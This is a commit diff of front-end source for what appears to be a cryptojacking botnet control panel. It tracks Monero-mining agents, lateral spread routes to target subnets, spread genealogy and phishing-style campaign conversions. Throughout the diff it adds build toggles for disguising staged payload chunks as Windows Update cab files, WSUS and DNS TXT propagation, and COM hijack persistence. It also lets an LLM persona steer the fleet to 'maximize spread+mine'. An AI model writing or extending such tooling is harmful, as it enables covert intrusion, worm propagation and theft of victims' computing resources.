Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage

This commit is contained in:
AetherForge
2026-06-07 05:00:22 -07:00
parent 7b2d41cda8
commit 82d74abfcf
38 changed files with 486 additions and 120 deletions

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
@@ -480,7 +480,18 @@ export const api = {
discover_in_progress?: boolean;
discover_error?: string;
discovered_at?: string;
spread_routes?: SpreadRouteRecommendation[];
}>(`/pathtrace/${id}/status`),
spreadRouteTrace: (sessionId: string, targetSubnets: string[], joinLane?: string) =>
fetchJSON<{
ok: boolean;
session_id: string;
spread_routes: SpreadRouteRecommendation[];
route_edges: { from_agent_id: string; to_subnet: string; weight: number }[];
}>('/pathtrace/spread-route', {
method: 'POST',
body: JSON.stringify({ session_id: sessionId, target_subnets: targetSubnets, join_lane: joinLane ?? '' }),
}),
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
fetchJSON<{
ok: boolean;

View File

@@ -273,3 +273,21 @@
opacity: 0.45;
}
}
.access-depth-lineage {
display: flex;
align-items: center;
gap: 0.35rem;
font-size: 0.72rem;
color: #c8d0d8;
margin-top: 0.25rem;
}
.access-depth-strain-swatch {
display: inline-block;
width: 0.65rem;
height: 0.65rem;
border-radius: 2px;
border: 1px solid rgba(255, 255, 255, 0.25);
flex-shrink: 0;
}

View File

@@ -200,6 +200,20 @@ describe('AccessDepthPanel', () => {
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
});
it('shows spread genealogy lineage when watermark present', async () => {
renderPanel(
mockAgent({
platform: 'windows',
parent_agent_id: '11112222-3333-4444-aaaa-bbbbbbbbbbbb',
spread_generation: 2,
spread_strain: '#a1b2c3',
join_lane: 'winrm',
}),
);
expect(await screen.findByText(/lineage gen 2/i)).toBeInTheDocument();
expect(screen.getByText(/parent 11112222/i)).toBeInTheDocument();
});
it('renders clearance badge L0L4 with tooltip permissions', () => {
renderPanel(mockAgent({ clearance_level: 2 }));
const badge = screen.getByLabelText(/Clearance L2/i);

View File

@@ -189,6 +189,22 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
) : (
<div className="access-depth-muted">No join lane yet</div>
)}
{(agent.parent_agent_id || agent.spread_generation || agent.spread_strain) && (
<div className="access-depth-lineage" data-strain={agent.spread_strain?.replace(/^#/, '') ?? ''}>
lineage gen {agent.spread_generation ?? 0}
{agent.spread_strain ? (
<span
className="access-depth-strain-swatch"
style={{ backgroundColor: agent.spread_strain }}
title={`strain ${agent.spread_strain}`}
aria-hidden
/>
) : null}
{agent.parent_agent_id ? (
<span className="access-depth-muted"> · parent {agent.parent_agent_id.slice(0, 8)}</span>
) : null}
</div>
)}
{model.phenotypeSource && (
<div className="access-depth-phenotype">
phenotype cloned from <strong>{model.phenotypeSource}</strong>

View File

@@ -57,9 +57,9 @@ const NAV = [
const DOCS_HREF = '/docs/';
/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */
/** Primary tabs on mobile bottom bar — Deck, Crucible, Activity, ROI, Onion */
const MOBILE_PRIMARY = NAV.slice(0, 5);
/** Mission Deck, Builds, Emberwake, Calibrate — More sheet */
/** Path Tracer, Forge, Mission Deck, Builds, Emberwake, Calibrate — "More" sheet */
const MOBILE_MORE = NAV.slice(5);
function NavIcon({ type }: { type: string }) {
@@ -283,9 +283,12 @@ export default function Layout({ children }: LayoutProps) {
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {
'/dashboard': 'Deck',
'/crucible': 'Ops',
'/crucible': 'Ops',
'/activity': 'Feed',
'/roi': 'ROI',
'/lotl-timeline': 'Onion',
'/pathtracer': 'Tracer',
'/forge': 'Forge',
'/forge': 'Forge',
};
return (

View File

@@ -130,4 +130,23 @@ describe('applyStatsUpdates', () => {
]);
expect(next[0].lotl_attempts).toEqual(attempts);
});
it('merges spread genealogy watermark from stats_batch', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
parent_agent_id: 'parent-xyz',
spread_generation: 2,
spread_strain: '#aabbcc',
},
]);
expect(next[0].parent_agent_id).toBe('parent-xyz');
expect(next[0].spread_generation).toBe(2);
expect(next[0].spread_strain).toBe('#aabbcc');
});
});

View File

@@ -65,6 +65,13 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
...(update.parent_agent_id !== undefined ? { parent_agent_id: update.parent_agent_id } : {}),
...(update.spread_generation !== undefined ? { spread_generation: update.spread_generation } : {}),
...(update.spread_strain !== undefined ? { spread_strain: update.spread_strain } : {}),
...(update.fleet_role !== undefined ? { fleet_role: update.fleet_role as Agent['fleet_role'] } : {}),
...(update.seed_pressure !== undefined ? { seed_pressure: update.seed_pressure } : {}),
...(update.hashrate_pressure !== undefined ? { hashrate_pressure: update.hashrate_pressure } : {}),
...(update.emberwake_heat !== undefined ? { emberwake_heat: update.emberwake_heat } : {}),
};
}

View File

@@ -16,6 +16,7 @@ describe('FORGE_BUILD_DEFAULTS', () => {
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.wsus_format_mimic).toBe(true);
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
});

View File

@@ -61,6 +61,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
wsus_format_mimic: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
target_os: 'windows',

View File

@@ -81,6 +81,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
wsus_format_mimic: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
};
@@ -177,9 +178,14 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
next.dns_txt_spread = false;
next.webrtc_mesh_spread = false;
next.wsus_cache_peer_spread = false;
next.wsus_format_mimic = false;
next.com_hijack_persist = false;
}
if (next.wsus_cache_peer_spread === false) {
next.wsus_format_mimic = false;
}
// Linux LOTL persistence — Linux/universal workers only
if (isWindowsOnlyTarget(next.target_os)) {
next.linux_lotl_mode = 'off';

View File

@@ -489,6 +489,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
badge: 'baked',
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
},
wsus_format_mimic: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle ? 'WSUS format mimic is Windows-only.' : undefined,
hint: 'Default ON — staged chunks use *.cab.partial filenames with SSU/CAB-like headers (format mimicry, not packing).',
},
webrtc_mesh_spread: {
disabled: isUnixSingle,
badge: 'baked',

View File

@@ -51,7 +51,7 @@ export const FIELD_HELP: Record<string, string> = {
ai_interval_sec:
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
ai_persona:
'Calibrate AI persona preset — shapes the LLM system prompt for fleet decisions. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
'Calibrate AI persona preset — shapes fleet decisions and default spread tier order hints (spread_temperament) when AI Control is on. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
ai_persona_aggressive:
'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
ai_persona_silent:

View File

@@ -1,94 +1,20 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import {
aggregateCampaignTelemetry,
effectiveMiningHashrate,
hashHeatIntensity,
lotlTierLabel,
maxTelemetryHashrate,
mergeCampaignWithLiveTelemetry,
} from './warRoomTelemetry';
import type { WarRoomCampaign } from '../types';
import type { Agent } from '../types';
import { agentEmberwakeHeat, effectiveMiningHashrate } from './warRoomTelemetry';
describe('effectiveMiningHashrate', () => {
it('prefers mining_hashrate when present', () => {
expect(
effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
).toBe(900);
describe('agentEmberwakeHeat', () => {
it('prefers server emberwake_heat when set', () => {
const agent = { emberwake_heat: 0.9 } as Agent;
expect(agentEmberwakeHeat(agent, 1000)).toBe(0.9);
});
it('falls back to CPU + GPU hashrate', () => {
expect(
effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
).toBe(500);
});
});
describe('aggregateCampaignTelemetry', () => {
it('groups online agents by campaign and sums hashrate', () => {
const map = aggregateCampaignTelemetry([
mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
]);
const linkedin = map.get('linkedin');
expect(linkedin?.online).toBe(2);
expect(linkedin?.hashrate).toBe(500);
expect(linkedin?.mining).toBe(2);
expect(map.get('usb')?.hashrate).toBe(0);
});
});
describe('mergeCampaignWithLiveTelemetry', () => {
const base: WarRoomCampaign = {
campaign: 'linkedin',
hits: 10,
downloads: 5,
agents: 2,
online: 0,
hashrate: 0,
conversion_pct: 20,
daily_hits: [1, 2, 3],
};
it('overlays live hashrate and online counts', () => {
const merged = mergeCampaignWithLiveTelemetry(base, {
hashrate: 1200,
online: 2,
mining: 1,
agents: [],
});
expect(merged.hashrate).toBe(1200);
expect(merged.online).toBe(2);
expect(merged.hits).toBe(10);
});
});
describe('hashHeatIntensity', () => {
it('returns 0 for zero hashrate', () => {
expect(hashHeatIntensity(0, 1000)).toBe(0);
});
it('scales relative to fleet max', () => {
expect(hashHeatIntensity(500, 1000)).toBe(0.5);
expect(hashHeatIntensity(2000, 1000)).toBe(1);
});
});
describe('lotlTierLabel', () => {
it('returns uppercase tier or null', () => {
expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
expect(lotlTierLabel('')).toBeNull();
expect(lotlTierLabel(undefined)).toBeNull();
});
});
describe('maxTelemetryHashrate', () => {
it('finds peak campaign hashrate', () => {
const map = aggregateCampaignTelemetry([
mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
]);
expect(maxTelemetryHashrate(map)).toBe(450);
it('uses seed_pressure for seeders', () => {
const agent = { fleet_role: 'seeder', seed_pressure: 0.6 } as Agent;
expect(agentEmberwakeHeat(agent, 0)).toBe(0.6);
});
it('falls back to hashrate rollup for miners', () => {
const agent = { hashrate_15m: 500, mining_hashrate: 500 } as Agent;
expect(effectiveMiningHashrate(agent)).toBe(500);
});
});

View File

@@ -61,6 +61,20 @@ export function hashHeatIntensity(hashrate: number, maxHashrate: number): number
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
}
/** Prefer server-computed emberwake_heat when present (fleet role pressure fields). */
export function agentEmberwakeHeat(agent: Agent, maxHashrate: number): number {
if (typeof agent.emberwake_heat === 'number' && agent.emberwake_heat > 0) {
return Math.min(1, agent.emberwake_heat);
}
if (agent.fleet_role === 'seeder' && typeof agent.seed_pressure === 'number') {
return Math.min(1, Math.max(0, agent.seed_pressure));
}
if (typeof agent.hashrate_pressure === 'number' && agent.hashrate_pressure > 0) {
return Math.min(1, agent.hashrate_pressure);
}
return hashHeatIntensity(effectiveMiningHashrate(agent), maxHashrate);
}
/** Display label for LOTL tier badge; null when unset. */
export function lotlTierLabel(tier?: string): string | null {
const t = tier?.trim();

View File

@@ -116,6 +116,28 @@ describe('agentStatsUnchanged', () => {
}),
).toBe(false);
});
it('returns false when spread genealogy watermark changes', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
parent_agent_id: 'parent-1',
spread_generation: 1,
spread_strain: '#aabbcc',
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
spread_generation: 2,
}),
).toBe(false);
});
});
describe('WS_LATEST_MESSAGE_TYPES', () => {

View File

@@ -55,6 +55,9 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
if (u.spread_generation !== undefined && agent.spread_generation !== u.spread_generation) return false;
if (u.spread_strain !== undefined && agent.spread_strain !== u.spread_strain) return false;
return true;
}

View File

@@ -44,7 +44,11 @@ const KIND_CONFIG: Record<ActivityEventKind, { icon: string; label: string; colo
default: { icon: '·', label: 'EVENT', color: '#8899aa' },
};
const ALL_KINDS = Object.keys(KIND_CONFIG) as ActivityEventKind[];
// ALL_KINDS excludes 'default' — that kind is a fallback sentinel and is never
// actually emitted, so it would only create a permanently-zero filter chip.
const ALL_KINDS = (Object.keys(KIND_CONFIG) as ActivityEventKind[]).filter(
(k) => k !== 'default'
);
const MAX_EVENTS = 500;
function fmt(d: Date): string {
@@ -88,7 +92,6 @@ export default function ActivityFeedPage() {
fleetAlerts,
commandResults,
aiActivity,
latestMessage,
} = useWebSocket();
const [events, setEvents] = useState<ActivityEvent[]>([]);

View File

@@ -2,7 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react';
import { api } from '../api/client';
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, PathTraceHop } from '../types';
import type { Agent, PathTraceHop, SpreadRouteRecommendation } from '../types';
import { HelpTip } from '../components/HelpTip';
import './PathTracerPage.css';
@@ -13,6 +13,7 @@ interface TraceStatus {
ready: boolean;
error?: string;
hops: PathTraceHop[];
spread_routes?: SpreadRouteRecommendation[];
}
interface QRData {
@@ -111,6 +112,7 @@ export default function PathTracerPage() {
const [tracing, setTracing] = useState(false);
const [qr, setQR] = useState<QRData | null>(null);
const [showQR, setShowQR] = useState(false);
const [spreadRoutes, setSpreadRoutes] = useState<SpreadRouteRecommendation[]>([]);
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null);
const [autoEndCountdown, setAutoEndCountdown] = useState<number | null>(null);
@@ -146,6 +148,7 @@ export default function PathTracerPage() {
setTracing(true);
setHops([]);
setQR(null);
setSpreadRoutes([]);
try {
const res = await api.startTrace(selected);
setSessionID(res.session_id);
@@ -165,6 +168,9 @@ export default function PathTracerPage() {
try {
const status: TraceStatus = await api.getTraceStatus(sid);
setHops(status.hops);
if (status.spread_routes?.length) {
setSpreadRoutes(status.spread_routes);
}
if (status.error) {
setError(status.error);
clearInterval(pollRef.current!);
@@ -205,6 +211,7 @@ export default function PathTracerPage() {
setTracing(false);
setQR(null);
setSelected([]);
setSpreadRoutes([]);
setError('');
}, [sessionID]);
@@ -418,6 +425,21 @@ export default function PathTracerPage() {
All hops ready tunnel is active.
</div>
)}
{spreadRoutes.length > 0 && (
<div className="pt-route-hints" style={{ marginTop: '0.75rem' }}>
<div className="pt-chain-title">Spread Routes</div>
<ul style={{ margin: '0.35rem 0 0', paddingLeft: '1rem', fontSize: '0.65rem', fontFamily: 'monospace', color: '#00ffaa99' }}>
{spreadRoutes.map((route) => (
<li key={`${route.target_subnet}-${route.seed_agent_id}`}>
{route.target_subnet} {route.seed_agent_name ?? route.seed_agent_id.slice(0, 8)}
{route.join_lane ? ` (${route.join_lane})` : ''}
{route.score ? ` · ${route.score.toFixed(2)}` : ''}
</li>
))}
</ul>
</div>
)}
</div>
</div>

View File

@@ -12,8 +12,10 @@ function fmt(n: number, decimals = 2) {
}
function fmtUSD(n: number): string {
if (n >= 1000) return `$${(n / 1000).toFixed(2)}k`;
return `$${n.toFixed(2)}`;
const sign = n < 0 ? '-' : '';
const abs = Math.abs(n);
if (abs >= 1000) return `${sign}$${(abs / 1000).toFixed(2)}k`;
return `${sign}$${abs.toFixed(2)}`;
}
function effBadge(pct: number): { label: string; cls: string } {

View File

@@ -110,6 +110,15 @@ export interface Agent {
/** Session security clearance L0L4 (live from server). */
clearance_level?: number;
/** Fleet role split telemetry (stats WS). */
fleet_role?: 'miner' | 'seeder' | 'auto';
seed_pressure?: number;
hashrate_pressure?: number;
emberwake_heat?: number;
parent_agent_id?: string;
spread_generation?: number;
spread_strain?: string;
/** Cloned fleet phenotype from a sibling with the same host fingerprint. */
inherited_phenotype?: InheritedPhenotype;
}
@@ -332,6 +341,8 @@ export interface ServerSettings {
ai_interval_sec?: number;
/** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */
ai_persona?: string;
/** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */
fleet_roles_enabled?: boolean;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;
@@ -556,6 +567,8 @@ export interface BuildRequest {
webrtc_mesh_spread?: boolean;
/** WSUS SoftwareDistribution cousin staging (default ON for Windows). */
wsus_cache_peer_spread?: boolean;
/** Wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON for Windows LOTL). */
wsus_format_mimic?: boolean;
/** COM CLSID hijack persistence — high-friction; default off. */
com_hijack_persist?: boolean;
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
@@ -599,6 +612,9 @@ export interface BuildRequest {
/** Pull tier order from server on auth instead of baked list only. */
lotl_policy_from_server?: boolean;
lotl_onion_tiers?: string[];
/** Fleet role: miner (RandomX) | seeder (LAN staging) | auto (server hint on auth). */
fleet_role?: 'miner' | 'seeder' | 'auto';
seeder_mode?: boolean;
}
/** Fallback Stratum pool baked into the agent at forge time. */
@@ -665,6 +681,19 @@ export interface PathTraceHop {
error?: string;
}
export interface SpreadRouteRecommendation {
target_subnet: string;
seed_agent_id: string;
seed_agent_name?: string;
egress_agent_id: string;
egress_hop_index?: number;
session_id?: string;
join_lane?: string;
clearance_level?: number;
score: number;
reason?: string;
}
export interface ServiceGraphEntry {
service_name: string;
port?: number;

View File

@@ -80,6 +80,13 @@ export interface WSStatsUpdate {
vuln_findings?: import('./recon').VulnFinding[];
vuln_risk_score?: number;
join_lane?: string;
parent_agent_id?: string;
spread_generation?: number;
spread_strain?: string;
fleet_role?: string;
seed_pressure?: number;
hashrate_pressure?: number;
emberwake_heat?: number;
}
export interface WSCommandResult {